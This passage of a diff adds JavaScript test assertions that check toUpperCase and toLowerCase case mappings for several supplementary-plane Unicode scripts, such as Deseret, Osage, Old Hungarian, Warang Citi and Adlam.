+assertEq(String.fromCodePoint(0x10430).toUpperCase().codePointAt(0), 0x10408);
+assertEq(String.fromCodePoint(0x10431).toUpperCase().codePointAt(0), 0x10409);
+assertEq(String.fromCodePoint(0x10432).toUpperCase().codePointAt(0), 0x1040a);
+assertEq(String.fromCodePoint(0x10433).toUpperCase().codePointAt(0), 0x1040b);
+assertEq(String.fromCodePoint(0x10434).toUpperCase().codePointAt(0), 0x1040c);
+assertEq(String.fromCodePoint(0x10435).toUpperCase().codePointAt(0), 0x1040d);
+assertEq(String.fromCodePoint(0x10436).toUpperCase().codePointAt(0), 0x1040e);
+assertEq(String.fromCodePoint(0x10437).toUpperCase().codePointAt(0), 0x1040f);
+assertEq(String.fromCodePoint(0x10438).toUpperCase().codePointAt(0), 0x10410);
+assertEq(String.fromCodePoint(0x10439).toUpperCase().codePointAt(0), 0x10411);
+assertEq(String.fromCodePoint(0x1043a).toUpperCase().codePointAt(0), 0x10412);
+assertEq(String.fromCodePoint(0x1043b).toUpperCase().codePointAt(0), 0x10413);
+assertEq(String.fromCodePoint(0x1043c).toUpperCase().codePointAt(0), 0x10414);
+assertEq(String.fromCodePoint(0x1043d).toUpperCase().codePointAt(0), 0x10415);
+assertEq(String.fromCodePoint(0x1043e).toUpperCase().codePointAt(0), 0x10416);
+assertEq(String.fromCodePoint(0x1043f).toUpperCase().codePointAt(0), 0x10417);
+assertEq(String.fromCodePoint(0x10440).toUpperCase().codePointAt(0), 0x10418);
+assertEq(String.fromCodePoint(0x10441).toUpperCase().codePointAt(0), 0x10419);
+assertEq(String.fromCodePoint(0x10442).toUpperCase().codePointAt(0), 0x1041a);
+assertEq(String.fromCodePoint(0x10443).toUpperCase().codePointAt(0), 0x1041b);
+assertEq(String.fromCodePoint(0x10444).toUpperCase().codePointAt(0), 0x1041c);
+assertEq(String.fromCodePoint(0x10445).toUpperCase().codePointAt(0), 0x1041d);
+assertEq(String.fromCodePoint(0x10446).toUpperCase().codePointAt(0), 0x1041e);
+assertEq(String.fromCodePoint(0x10447).toUpperCase().codePointAt(0), 0x1041f);
+assertEq(String.fromCodePoint(0x10448).toUpperCase().codePointAt(0), 0x10420);
+assertEq(String.fromCodePoint(0x10449).toUpperCase().codePointAt(0), 0x10421);
+assertEq(String.fromCodePoint(0x1044a).toUpperCase().codePointAt(0), 0x10422);
+assertEq(String.fromCodePoint(0x1044b).toUpperCase().codePointAt(0), 0x10423);
+assertEq(String.fromCodePoint(0x1044c).toUpperCase().codePointAt(0), 0x10424);
+assertEq(String.fromCodePoint(0x1044d).toUpperCase().codePointAt(0), 0x10425);
+assertEq(String.fromCodePoint(0x1044e).toUpperCase().codePointAt(0), 0x10426);
+assertEq(String.fromCodePoint(0x1044f).toUpperCase().codePointAt(0), 0x10427);
+assertEq(String.fromCodePoint(0x104d8).toUpperCase().codePointAt(0), 0x104b0);
+assertEq(String.fromCodePoint(0x104d9).toUpperCase().codePointAt(0), 0x104b1);
+assertEq(String.fromCodePoint(0x104da).toUpperCase().codePointAt(0), 0x104b2);
+assertEq(String.fromCodePoint(0x104db).toUpperCase().codePointAt(0), 0x104b3);
+assertEq(String.fromCodePoint(0x104dc).toUpperCase().codePointAt(0), 0x104b4);
+assertEq(String.fromCodePoint(0x104dd).toUpperCase().codePointAt(0), 0x104b5);
+assertEq(String.fromCodePoint(0x104de).toUpperCase().codePointAt(0), 0x104b6);
+assertEq(String.fromCodePoint(0x104df).toUpperCase().codePointAt(0), 0x104b7);
+assertEq(String.fromCodePoint(0x104e0).toUpperCase().codePointAt(0), 0x104b8);
+assertEq(String.fromCodePoint(0x104e1).toUpperCase().codePointAt(0), 0x104b9);
+assertEq(String.fromCodePoint(0x104e2).toUpperCase().codePointAt(0), 0x104ba);
+assertEq(String.fromCodePoint(0x104e3).toUpperCase().codePointAt(0), 0x104bb);
+assertEq(String.fromCodePoint(0x104e4).toUpperCase().codePointAt(0), 0x104bc);
+assertEq(String.fromCodePoint(0x104e5).toUpperCase().codePointAt(0), 0x104bd);
+assertEq(String.fromCodePoint(0x104e6).toUpperCase().codePointAt(0), 0x104be);
+assertEq(String.fromCodePoint(0x104e7).toUpperCase().codePointAt(0), 0x104bf);
+assertEq(String.fromCodePoint(0x104e8).toUpperCase().codePointAt(0), 0x104c0);
+assertEq(String.fromCodePoint(0x104e9).toUpperCase().codePointAt(0), 0x104c1);
+assertEq(String.fromCodePoint(0x104ea).toUpperCase().codePointAt(0), 0x104c2);
+assertEq(String.fromCodePoint(0x104eb).toUpperCase().codePointAt(0), 0x104c3);
+assertEq(String.fromCodePoint(0x104ec).toUpperCase().codePointAt(0), 0x104c4);
+assertEq(String.fromCodePoint(0x104ed).toUpperCase().codePointAt(0), 0x104c5);
+assertEq(String.fromCodePoint(0x104ee).toUpperCase().codePointAt(0), 0x104c6);
+assertEq(String.fromCodePoint(0x104ef).toUpperCase().codePointAt(0), 0x104c7);
+assertEq(String.fromCodePoint(0x104f0).toUpperCase().codePointAt(0), 0x104c8);
+assertEq(String.fromCodePoint(0x104f1).toUpperCase().codePointAt(0), 0x104c9);
+assertEq(String.fromCodePoint(0x104f2).toUpperCase().codePointAt(0), 0x104ca);
+assertEq(String.fromCodePoint(0x104f3).toUpperCase().codePointAt(0), 0x104cb);
+assertEq(String.fromCodePoint(0x104f4).toUpperCase().codePointAt(0), 0x104cc);
+assertEq(String.fromCodePoint(0x104f5).toUpperCase().codePointAt(0), 0x104cd);
+assertEq(String.fromCodePoint(0x104f6).toUpperCase().codePointAt(0), 0x104ce);
+assertEq(String.fromCodePoint(0x104f7).toUpperCase().codePointAt(0), 0x104cf);
+assertEq(String.fromCodePoint(0x104f8).toUpperCase().codePointAt(0), 0x104d0);
+assertEq(String.fromCodePoint(0x104f9).toUpperCase().codePointAt(0), 0x104d1);
+assertEq(String.fromCodePoint(0x104fa).toUpperCase().codePointAt(0), 0x104d2);
+assertEq(String.fromCodePoint(0x104fb).toUpperCase().codePointAt(0), 0x104d3);
+assertEq(String.fromCodePoint(0x10cc0).toUpperCase().codePointAt(0), 0x10c80);
+assertEq(String.fromCodePoint(0x10cc1).toUpperCase().codePointAt(0), 0x10c81);
+assertEq(String.fromCodePoint(0x10cc2).toUpperCase().codePointAt(0), 0x10c82);
+assertEq(String.fromCodePoint(0x10cc3).toUpperCase().codePointAt(0), 0x10c83);
+assertEq(String.fromCodePoint(0x10cc4).toUpperCase().codePointAt(0), 0x10c84);
+assertEq(String.fromCodePoint(0x10cc5).toUpperCase().codePointAt(0), 0x10c85);
+assertEq(String.fromCodePoint(0x10cc6).toUpperCase().codePointAt(0), 0x10c86);
+assertEq(String.fromCodePoint(0x10cc7).toUpperCase().codePointAt(0), 0x10c87);
+assertEq(String.fromCodePoint(0x10cc8).toUpperCase().codePointAt(0), 0x10c88);
+assertEq(String.fromCodePoint(0x10cc9).toUpperCase().codePointAt(0), 0x10c89);
+assertEq(String.fromCodePoint(0x10cca).toUpperCase().codePointAt(0), 0x10c8a);
+assertEq(String.fromCodePoint(0x10ccb).toUpperCase().codePointAt(0), 0x10c8b);
+assertEq(String.fromCodePoint(0x10ccc).toUpperCase().codePointAt(0), 0x10c8c);
+assertEq(String.fromCodePoint(0x10ccd).toUpperCase().codePointAt(0), 0x10c8d);
+assertEq(String.fromCodePoint(0x10cce).toUpperCase().codePointAt(0), 0x10c8e);
+assertEq(String.fromCodePoint(0x10ccf).toUpperCase().codePointAt(0), 0x10c8f);
+assertEq(String.fromCodePoint(0x10cd0).toUpperCase().codePointAt(0), 0x10c90);
+assertEq(String.fromCodePoint(0x10cd1).toUpperCase().codePointAt(0), 0x10c91);
+assertEq(String.fromCodePoint(0x10cd2).toUpperCase().codePointAt(0), 0x10c92);
+assertEq(String.fromCodePoint(0x10cd3).toUpperCase().codePointAt(0), 0x10c93);
+assertEq(String.fromCodePoint(0x10cd4).toUpperCase().codePointAt(0), 0x10c94);
+assertEq(String.fromCodePoint(0x10cd5).toUpperCase().codePointAt(0), 0x10c95);
+assertEq(String.fromCodePoint(0x10cd6).toUpperCase().codePointAt(0), 0x10c96);
+assertEq(String.fromCodePoint(0x10cd7).toUpperCase().codePointAt(0), 0x10c97);
+assertEq(String.fromCodePoint(0x10cd8).toUpperCase().codePointAt(0), 0x10c98);
+assertEq(String.fromCodePoint(0x10cd9).toUpperCase().codePointAt(0), 0x10c99);
+assertEq(String.fromCodePoint(0x10cda).toUpperCase().codePointAt(0), 0x10c9a);
+assertEq(String.fromCodePoint(0x10cdb).toUpperCase().codePointAt(0), 0x10c9b);
+assertEq(String.fromCodePoint(0x10cdc).toUpperCase().codePointAt(0), 0x10c9c);
+assertEq(String.fromCodePoint(0x10cdd).toUpperCase().codePointAt(0), 0x10c9d);
+assertEq(String.fromCodePoint(0x10cde).toUpperCase().codePointAt(0), 0x10c9e);
+assertEq(String.fromCodePoint(0x10cdf).toUpperCase().codePointAt(0), 0x10c9f);
+assertEq(String.fromCodePoint(0x10ce0).toUpperCase().codePointAt(0), 0x10ca0);
+assertEq(String.fromCodePoint(0x10ce1).toUpperCase().codePointAt(0), 0x10ca1);
+assertEq(String.fromCodePoint(0x10ce2).toUpperCase().codePointAt(0), 0x10ca2);
+assertEq(String.fromCodePoint(0x10ce3).toUpperCase().codePointAt(0), 0x10ca3);
+assertEq(String.fromCodePoint(0x10ce4).toUpperCase().codePointAt(0), 0x10ca4);
+assertEq(String.fromCodePoint(0x10ce5).toUpperCase().codePointAt(0), 0x10ca5);
+assertEq(String.fromCodePoint(0x10ce6).toUpperCase().codePointAt(0), 0x10ca6);
+assertEq(String.fromCodePoint(0x10ce7).toUpperCase().codePointAt(0), 0x10ca7);
+assertEq(String.fromCodePoint(0x10ce8).toUpperCase().codePointAt(0), 0x10ca8);
+assertEq(String.fromCodePoint(0x10ce9).toUpperCase().codePointAt(0), 0x10ca9);
+assertEq(String.fromCodePoint(0x10cea).toUpperCase().codePointAt(0), 0x10caa);
+assertEq(String.fromCodePoint(0x10ceb).toUpperCase().codePointAt(0), 0x10cab);
+assertEq(String.fromCodePoint(0x10cec).toUpperCase().codePointAt(0), 0x10cac);
+assertEq(String.fromCodePoint(0x10ced).toUpperCase().codePointAt(0), 0x10cad);
+assertEq(String.fromCodePoint(0x10cee).toUpperCase().codePointAt(0), 0x10cae);
+assertEq(String.fromCodePoint(0x10cef).toUpperCase().codePointAt(0), 0x10caf);
+assertEq(String.fromCodePoint(0x10cf0).toUpperCase().codePointAt(0), 0x10cb0);
+assertEq(String.fromCodePoint(0x10cf1).toUpperCase().codePointAt(0), 0x10cb1);
+assertEq(String.fromCodePoint(0x10cf2).toUpperCase().codePointAt(0), 0x10cb2);
+assertEq(String.fromCodePoint(0x118c0).toUpperCase().codePointAt(0), 0x118a0);
+assertEq(String.fromCodePoint(0x118c1).toUpperCase().codePointAt(0), 0x118a1);
+assertEq(String.fromCodePoint(0x118c2).toUpperCase().codePointAt(0), 0x118a2);
+assertEq(String.fromCodePoint(0x118c3).toUpperCase().codePointAt(0), 0x118a3);
+assertEq(String.fromCodePoint(0x118c4).toUpperCase().codePointAt(0), 0x118a4);
+assertEq(String.fromCodePoint(0x118c5).toUpperCase().codePointAt(0), 0x118a5);
+assertEq(String.fromCodePoint(0x118c6).toUpperCase().codePointAt(0), 0x118a6);
+assertEq(String.fromCodePoint(0x118c7).toUpperCase().codePointAt(0), 0x118a7);
+assertEq(String.fromCodePoint(0x118c8).toUpperCase().codePointAt(0), 0x118a8);
+assertEq(String.fromCodePoint(0x118c9).toUpperCase().codePointAt(0), 0x118a9);
+assertEq(String.fromCodePoint(0x118ca).toUpperCase().codePointAt(0), 0x118aa);
+assertEq(String.fromCodePoint(0x118cb).toUpperCase().codePointAt(0), 0x118ab);
+assertEq(String.fromCodePoint(0x118cc).toUpperCase().codePointAt(0), 0x118ac);
+assertEq(String.fromCodePoint(0x118cd).toUpperCase().codePointAt(0), 0x118ad);
+assertEq(String.fromCodePoint(0x118ce).toUpperCase().codePointAt(0), 0x118ae);
+assertEq(String.fromCodePoint(0x118cf).toUpperCase().codePointAt(0), 0x118af);
+assertEq(String.fromCodePoint(0x118d0).toUpperCase().codePointAt(0), 0x118b0);
+assertEq(String.fromCodePoint(0x118d1).toUpperCase().codePointAt(0), 0x118b1);
+assertEq(String.fromCodePoint(0x118d2).toUpperCase().codePointAt(0), 0x118b2);
+assertEq(String.fromCodePoint(0x118d3).toUpperCase().codePointAt(0), 0x118b3);
+assertEq(String.fromCodePoint(0x118d4).toUpperCase().codePointAt(0), 0x118b4);
+assertEq(String.fromCodePoint(0x118d5).toUpperCase().codePointAt(0), 0x118b5);
+assertEq(String.fromCodePoint(0x118d6).toUpperCase().codePointAt(0), 0x118b6);
+assertEq(String.fromCodePoint(0x118d7).toUpperCase().codePointAt(0), 0x118b7);
+assertEq(String.fromCodePoint(0x118d8).toUpperCase().codePointAt(0), 0x118b8);
+assertEq(String.fromCodePoint(0x118d9).toUpperCase().codePointAt(0), 0x118b9);
+assertEq(String.fromCodePoint(0x118da).toUpperCase().codePointAt(0), 0x118ba);
+assertEq(String.fromCodePoint(0x118db).toUpperCase().codePointAt(0), 0x118bb);
+assertEq(String.fromCodePoint(0x118dc).toUpperCase().codePointAt(0), 0x118bc);
+assertEq(String.fromCodePoint(0x118dd).toUpperCase().codePointAt(0), 0x118bd);
+assertEq(String.fromCodePoint(0x118de).toUpperCase().codePointAt(0), 0x118be);
+assertEq(String.fromCodePoint(0x118df).toUpperCase().codePointAt(0), 0x118bf);
+assertEq(String.fromCodePoint(0x1e922).toUpperCase().codePointAt(0), 0x1e900);
+assertEq(String.fromCodePoint(0x1e923).toUpperCase().codePointAt(0), 0x1e901);
+assertEq(String.fromCodePoint(0x1e924).toUpperCase().codePointAt(0), 0x1e902);
+assertEq(String.fromCodePoint(0x1e925).toUpperCase().codePointAt(0), 0x1e903);
+assertEq(String.fromCodePoint(0x1e926).toUpperCase().codePointAt(0), 0x1e904);
+assertEq(String.fromCodePoint(0x1e927).toUpperCase().codePointAt(0), 0x1e905);
+assertEq(String.fromCodePoint(0x1e928).toUpperCase().codePointAt(0), 0x1e906);
+assertEq(String.fromCodePoint(0x1e929).toUpperCase().codePointAt(0), 0x1e907);
+assertEq(String.fromCodePoint(0x1e92a).toUpperCase().codePointAt(0), 0x1e908);
+assertEq(String.fromCodePoint(0x1e92b).toUpperCase().codePointAt(0), 0x1e909);
+assertEq(String.fromCodePoint(0x1e92c).toUpperCase().codePointAt(0), 0x1e90a);
+assertEq(String.fromCodePoint(0x1e92d).toUpperCase().codePointAt(0), 0x1e90b);
+assertEq(String.fromCodePoint(0x1e92e).toUpperCase().codePointAt(0), 0x1e90c);
+assertEq(String.fromCodePoint(0x1e92f).toUpperCase().codePointAt(0), 0x1e90d);
+assertEq(String.fromCodePoint(0x1e930).toUpperCase().codePointAt(0), 0x1e90e);
+assertEq(String.fromCodePoint(0x1e931).toUpperCase().codePointAt(0), 0x1e90f);
+assertEq(String.fromCodePoint(0x1e932).toUpperCase().codePointAt(0), 0x1e910);
+assertEq(String.fromCodePoint(0x1e933).toUpperCase().codePointAt(0), 0x1e911);
+assertEq(String.fromCodePoint(0x1e934).toUpperCase().codePointAt(0), 0x1e912);
+assertEq(String.fromCodePoint(0x1e935).toUpperCase().codePointAt(0), 0x1e913);
+assertEq(String.fromCodePoint(0x1e936).toUpperCase().codePointAt(0), 0x1e914);
+assertEq(String.fromCodePoint(0x1e937).toUpperCase().codePointAt(0), 0x1e915);
+assertEq(String.fromCodePoint(0x1e938).toUpperCase().codePointAt(0), 0x1e916);
+assertEq(String.fromCodePoint(0x1e939).toUpperCase().codePointAt(0), 0x1e917);
+assertEq(String.fromCodePoint(0x1e93a).toUpperCase().codePointAt(0), 0x1e918);
+assertEq(String.fromCodePoint(0x1e93b).toUpperCase().codePointAt(0), 0x1e919);
+assertEq(String.fromCodePoint(0x1e93c).toUpperCase().codePointAt(0), 0x1e91a);
+assertEq(String.fromCodePoint(0x1e93d).toUpperCase().codePointAt(0), 0x1e91b);
+assertEq(String.fromCodePoint(0x1e93e).toUpperCase().codePointAt(0), 0x1e91c);
+assertEq(String.fromCodePoint(0x1e93f).toUpperCase().codePointAt(0), 0x1e91d);
+assertEq(String.fromCodePoint(0x1e940).toUpperCase().codePointAt(0), 0x1e91e);
+assertEq(String.fromCodePoint(0x1e941).toUpperCase().codePointAt(0), 0x1e91f);
+assertEq(String.fromCodePoint(0x1e942).toUpperCase().codePointAt(0), 0x1e920);
+assertEq(String.fromCodePoint(0x1e943).toUpperCase().codePointAt(0), 0x1e921);
+assertEq(String.fromCodePoint(0x10400).toLowerCase().codePointAt(0), 0x10428);
+assertEq(String.fromCodePoint(0x10401).toLowerCase().codePointAt(0), 0x10429);
+assertEq(String.fromCodePoint(0x10402).toLowerCase().codePointAt(0), 0x1042a);
+assertEq(String.fromCodePoint(0x10403).toLowerCase().codePointAt(0), 0x1042b);
+assertEq(String.fromCodePoint(0x10404).toLowerCase().codePointAt(0), 0x1042c);
+assertEq(String.fromCodePoint(0x10405).toLowerCase().codePointAt(0), 0x1042d);
+assertEq(String.fromCodePoint(0x10406).toLowerCase().codePointAt(0), 0x1042e);
+assertEq(String.fromCodePoint(0x10407).toLowerCase().codePointAt(0), 0x1042f);
+assertEq(String.fromCodePoint(0x10408).toLowerCase().codePointAt(0), 0x10430);
+assertEq(String.fromCodePoint(0x10409).toLowerCase().codePointAt(0), 0x10431);
+assertEq(String.fromCodePoint(0x1040a).toLowerCase().codePointAt(0), 0x10432);
+assertEq(String.fromCodePoint(0x1040b).toLowerCase().codePointAt(0), 0x10433);
+assertEq(String.fromCodePoint(0x1040c).toLowerCase().codePointAt(0), 0x10434);
+assertEq(String.fromCodePoint(0x1040d).toLowerCase().codePointAt(0), 0x10435);
+assertEq(String.fromCodePoint(0x1040e).toLowerCase().codePointAt(0), 0x10436);
+assertEq(String.fromCodePoint(0x1040f).toLowerCase().codePointAt(0), 0x10437);
+assertEq(String.fromCodePoint(0x10410).toLowerCase().codePointAt(0), 0x10438);
+assertEq(String.fromCodePoint(0x10411).toLowerCase().codePointAt(0), 0x10439);
+assertEq(String.fromCodePoint(0x10412).toLowerCase().codePointAt(0), 0x1043a);
+assertEq(String.fromCodePoint(0x10413).toLowerCase().codePointAt(0), 0x1043b);
+assertEq(String.fromCodePoint(0x10414).toLowerCase().codePointAt(0), 0x1043c);
+assertEq(String.fromCodePoint(0x10415).toLowerCase().codePointAt(0), 0x1043d);
+assertEq(String.fromCodePoint(0x10416).toLowerCase().codePointAt(0), 0x1043e);
+assertEq(String.fromCodePoint(0x10417).toLowerCase().codePointAt(0), 0x1043f);
+assertEq(String.fromCodePoint(0x10418).toLowerCase().codePointAt(0), 0x10440);
+assertEq(String.fromCodePoint(0x10419).toLowerCase().codePointAt(0), 0x10441);
+assertEq(String.fromCodePoint(0x1041a).toLowerCase().codePointAt(0), 0x10442);
+assertEq(String.fromCodePoint(0x1041b).toLowerCase().codePointAt(0), 0x10443);
+assertEq(String.fromCodePoint(0x1041c).toLowerCase().codePointAt(0), 0x10444);
+assertEq(String.fromCodePoint(0x1041d).toLowerCase().codePointAt(0), 0x10445);
+assertEq(String.fromCodePoint(0x1041e).toLowerCase().codePointAt(0), 0x10446);
+assertEq(String.fromCodePoint(0x1041f).toLowerCase().codePointAt(0), 0x10447);
+assertEq(String.fromCodePoint(0x10420).toLowerCase().codePointAt(0), 0x10448);
+assertEq(String.fromCodePoint(0x10421).toLowerCase().codePointAt(0), 0x10449);
+assertEq(String.fromCodePoint(0x10422).toLowerCase().codePointAt(0), 0x1044a);
+assertEq(String.fromCodePoint(0x10423).toLowerCase().codePointAt(0), 0x1044b);
+assertEq(String.fromCodePoint(0x10424).toLowerCase().codePointAt(0), 0x1044c);
+assertEq(String.fromCodePoint(0x10425).toLowerCase().codePointAt(0), 0x1044d);
+assertEq(String.fromCodePoint(0x10426).toLowerCase().codePointAt(0), 0x1044e);
+assertEq(String.fromCodePoint(0x10427).toLowerCase().codePointAt(0), 0x1044f);
+assertEq(String.fromCodePoint(0x104b0).toLowerCase().codePointAt(0), 0x104d8);
+assertEq(String.fromCodePoint(0x104b1).toLowerCase().codePointAt(0), 0x104d9);
+assertEq(String.fromCodePoint(0x104b2).toLowerCase().codePointAt(0), 0x104da);
+assertEq(String.fromCodePoint(0x104b3).toLowerCase().codePointAt(0), 0x104db);
+assertEq(String.fromCodePoint(0x104b4).toLowerCase().codePointAt(0), 0x104dc);
+assertEq(String.fromCodePoint(0x104b5).toLowerCase().codePointAt(0), 0x104dd);
+assertEq(String.fromCodePoint(0x104b6).toLowerCase().codePointAt(0), 0x104de);
+assertEq(String.fromCodePoint(0x104b7).toLowerCase().codePointAt(0), 0x104df);
+assertEq(String.fromCodePoint(0x104b8).toLowerCase().codePointAt(0), 0x104e0);
+assertEq(String.fromCodePoint(0x104b9).toLowerCase().codePointAt(0), 0x104e1);
+assertEq(String.fromCodePoint(0x104ba).toLowerCase().codePointAt(0), 0x104e2);
+assertEq(String.fromCodePoint(0x104bb).toLowerCase().codePointAt(0), 0x104e3);
+assertEq(String.fromCodePoint(0x104bc).toLowerCase().codePointAt(0), 0x104e4);
+assertEq(String.fromCodePoint(0x104bd).toLowerCase().codePointAt(0), 0x104e5);
+assertEq(String.fromCodePoint(0x104be).toLowerCase().codePointAt(0), 0x104e6);
+assertEq(String.fromCodePoint(0x104bf).toLowerCase().codePointAt(0), 0x104e7);
+assertEq(String.fromCodePoint(0x104c0).toLowerCase().codePointAt(0), 0x104e8);
+assertEq(String.fromCodePoint(0x104c1).toLowerCase().codePointAt(0), 0x104e9);
+assertEq(String.fromCodePoint(0x104c2).toLowerCase().codePointAt(0), 0x104ea);
+assertEq(String.fromCodePoint(0x104c3).toLowerCase().codePointAt(0), 0x104eb);
+assertEq(String.fromCodePoint(0x104c4).toLowerCase().codePointAt(0), 0x104ec);
+assertEq(String.fromCodePoint(0x104c5).toLowerCase().codePointAt(0), 0x104ed);
+assertEq(String.fromCodePoint(0x104c6).toLowerCase().codePointAt(0), 0x104ee);
+assertEq(String.fromCodePoint(0x104c7).toLowerCase().codePointAt(0), 0x104ef);
+assertEq(String.fromCodePoint(0x104c8).toLowerCase().codePointAt(0), 0x104f0);
+assertEq(String.fromCodePoint(0x104c9).toLowerCase().codePointAt(0), 0x104f1);
+assertEq(String.fromCodePoint(0x104ca).toLowerCase().codePointAt(0), 0x104f2);
+assertEq(String.fromCodePoint(0x104cb).toLowerCase().codePointAt(0), 0x104f3);
+assertEq(String.fromCodePoint(0x104cc).toLowerCase().codePointAt(0), 0x104f4);
+assertEq(String.fromCodePoint(0x104cd).toLowerCase().codePointAt(0), 0x104f5);
+assertEq(String.fromCodePoint(0x104ce).toLowerCase().codePointAt(0), 0x104f6);
+assertEq(String.fromCodePoint(0x104cf).toLowerCase().codePointAt(0), 0x104f7);
+assertEq(String.fromCodePoint(0x104d0).toLowerCase().codePointAt(0), 0x104f8);
+assertEq(String.fromCodePoint(0x104d1).toLowerCase().codePointAt(0), 0x104f9);
+assertEq(String.fromCodePoint(0x104d2).toLowerCase().codePointAt(0), 0x104fa);
+assertEq(String.fromCodePoint(0x104d3).toLowerCase().codePointAt(0), 0x104fb);
+assertEq(String.fromCodePoint(0x10c80).toLowerCase().codePointAt(0), 0x10cc0);
+assertEq(String.fromCodePoint(0x10c81).toLowerCase().codePointAt(0), 0x10cc1);
+assertEq(String.fromCodePoint(0x10c82).toLowerCase().codePointAt(0), 0x10cc2);
+assertEq(String.fromCodePoint(0x10c83).toLowerCase().codePointAt(0), 0x10cc3);
+assertEq(String.fromCodePoint(0x10c84).toLowerCase().codePointAt(0), 0x10cc4);
+assertEq(String.fromCodePoint(0x10c85).toLowerCase().codePointAt(0), 0x10cc5);
+assertEq(String.fromCodePoint(0x10c86).toLowerCase().codePointAt(0), 0x10cc6);
+assertEq(String.fromCodePoint(0x10c87).toLowerCase().codePointAt(0), 0x10cc7);
+assertEq(String.fromCodePoint(0x10c88).toLowerCase().codePointAt(0), 0x10cc8);
+assertEq(String.fromCodePoint(0x10c89).toLowerCase().codePointAt(0), 0x10cc9);
+assertEq(String.fromCodePoint(0x10c8a).toLowerCase().codePointAt(0), 0x10cca);
+assertEq(String.fromCodePoint(0x10c8b).toLowerCase().codePointAt(0), 0x10ccb);
+assertEq(String.fromCodePoint(0x10c8c).toLowerCase().codePointAt(0), 0x10ccc);
+assertEq(String.fromCodePoint(0x10c8d).toLowerCase().codePointAt(0), 0x10ccd);
+assertEq(String.fromCodePoint(0x10c8e).toLowerCase().codePointAt(0), 0x10cce);
+assertEq(String.fromCodePoint(0x10c8f).toLowerCase().codePointAt(0), 0x10ccf);
+assertEq(String.fromCodePoint(0x10c90).toLowerCase().codePointAt(0), 0x10cd0);
+assertEq(String.fromCodePoint(0x10c91).toLowerCase().codePointAt(0), 0x10cd1);
+assertEq(String.fromCodePoint(0x10c92).toLowerCase().codePointAt(0), 0x10cd2);
+assertEq(String.fromCodePoint(0x10c93).toLowerCase().codePointAt(0), 0x10cd3);
+assertEq(String.fromCodePoint(0x10c94).toLowerCase().codePointAt(0), 0x10cd4);
+assertEq(String.fromCodePoint(0x10c95).toLowerCase().codePointAt(0), 0x10cd5);
+assertEq(String.fromCodePoint(0x10c96).toLowerCase().codePointAt(0), 0x10cd6);
+assertEq(String.fromCodePoint(0x10c97).toLowerCase().codePointAt(0), 0x10cd7);
+assertEq(String.fromCodePoint(0x10c98).toLowerCase().codePointAt(0), 0x10cd8);
+assertEq(String.fromCodePoint(0x10c99).toLowerCase().codePointAt(0), 0x10cd9);
+assertEq(String.fromCodePoint(0x10c9a).toLowerCase().codePointAt(0), 0x10cda);
+assertEq(String.fromCodePoint(0x10c9b).toLowerCase().codePointAt(0), 0x10cdb);
+assertEq(String.fromCodePoint(0x10c9c).toLowerCase().codePointAt(0), 0x10cdc);
+assertEq(String.fromCodePoint(0x10c9d).toLowerCase().codePointAt(0), 0x10cdd);
+assertEq(String.fromCodePoint(0x10c9e).toLowerCase().codePointAt(0), 0x10cde);
+assertEq(String.fromCodePoint(0x10c9f).toLowerCase().codePointAt(0), 0x10cdf);
+assertEq(String.fromCodePoint(0x10ca0).toLowerCase().codePointAt(0), 0x10ce0);
+assertEq(String.fromCodePoint(0x10ca1).toLowerCase().codePointAt(0), 0x10ce1);
+assertEq(String.fromCodePoint(0x10ca2).toLowerCase().codePointAt(0), 0x10ce2);
+assertEq(String.fromCodePoint(0x10ca3).toLowerCase().codePointAt(0), 0x10ce3);
+assertEq(String.fromCodePoint(0x10ca4).toLowerCase().codePointAt(0), 0x10ce4);
+assertEq(String.fromCodePoint(0x10ca5).toLowerCase().codePointAt(0), 0x10ce5);
+assertEq(String.fromCodePoint(0x10ca6).toLowerCase().codePointAt(0), 0x10ce6);
+assertEq(String.fromCodePoint(0x10ca7).toLowerCase().codePointAt(0), 0x10ce7);
+assertEq(String.fromCodePoint(0x10ca8).toLowerCase().codePointAt(0), 0x10ce8);
+assertEq(String.fromCodePoint(0x10ca9).toLowerCase().codePointAt(0), 0x10ce9);
+assertEq(String.fromCodePoint(0x10caa).toLowerCase().codePointAt(0), 0x10cea);
+assertEq(String.fromCodePoint(0x10cab).toLowerCase().codePointAt(0), 0x10ceb);
+assertEq(String.fromCodePoint(0x10cac).toLowerCase().codePointAt(0), 0x10cec);
+assertEq(String.fromCodePoint(0x10cad).toLowerCase().codePointAt(0), 0x10ced);
+assertEq(String.fromCodePoint(0x10cae).toLowerCase().codePointAt(0), 0x10cee);
+assertEq(String.fromCodePoint(0x10caf).toLowerCase().codePointAt(0), 0x10cef);
+assertEq(String.fromCodePoint(0x10cb0).toLowerCase().codePointAt(0), 0x10cf0);
+assertEq(String.fromCodePoint(0x10cb1).toLowerCase().codePointAt(0), 0x10cf1);
+assertEq(String.fromCodePoint(0x10cb2).toLowerCase().codePointAt(0), 0x10cf2);
+assertEq(String.fromCodePoint(0x118a0).toLowerCase().codePointAt(0), 0x118c0);
+assertEq(String.fromCodePoint(0x118a1).toLowerCase().codePointAt(0), 0x118c1);
+assertEq(String.fromCodePoint(0x118a2).toLowerCase().codePointAt(0), 0x118c2);
+assertEq(String.fromCodePoint(0x118a3).toLowerCase().codePointAt(0), 0x118c3);
+assertEq(String.fromCodePoint(0x118a4).toLowerCase().codePointAt(0), 0x118c4);
+assertEq(String.fromCodePoint(0x118a5).toLowerCase().codePointAt(0), 0x118c5);
+assertEq(String.fromCodePoint(0x118a6).toLowerCase().codePointAt(0), 0x118c6);
+assertEq(String.fromCodePoint(0x118a7).toLowerCase().codePointAt(0), 0x118c7);
+assertEq(String.fromCodePoint(0x118a8).toLowerCase().codePointAt(0), 0x118c8);
+assertEq(String.fromCodePoint(0x118a9).toLowerCase().codePointAt(0), 0x118c9);
+assertEq(String.fromCodePoint(0x118aa).toLowerCase().codePointAt(0), 0x118ca);
+assertEq(String.fromCodePoint(0x118ab).toLowerCase().codePointAt(0), 0x118cb);
+assertEq(String.fromCodePoint(0x118ac).toLowerCase().codePointAt(0), 0x118cc);
+assertEq(String.fromCodePoint(0x118ad).toLowerCase().codePointAt(0), 0x118cd);
+assertEq(String.fromCodePoint(0x118ae).toLowerCase().codePointAt(0), 0x118ce);
+assertEq(String.fromCodePoint(0x118af).toLowerCase().codePointAt(0), 0x118cf);
+assertEq(String.fromCodePoint(0x118b0).toLowerCase().codePointAt(0), 0x118d0);
+assertEq(String.fromCodePoint(0x118b1).toLowerCase().codePointAt(0), 0x118d1);
+assertEq(String.fromCodePoint(0x118b2).toLowerCase().codePointAt(0), 0x118d2);
+assertEq(String.fromCodePoint(0x118b3).toLowerCase().codePointAt(0), 0x118d3);
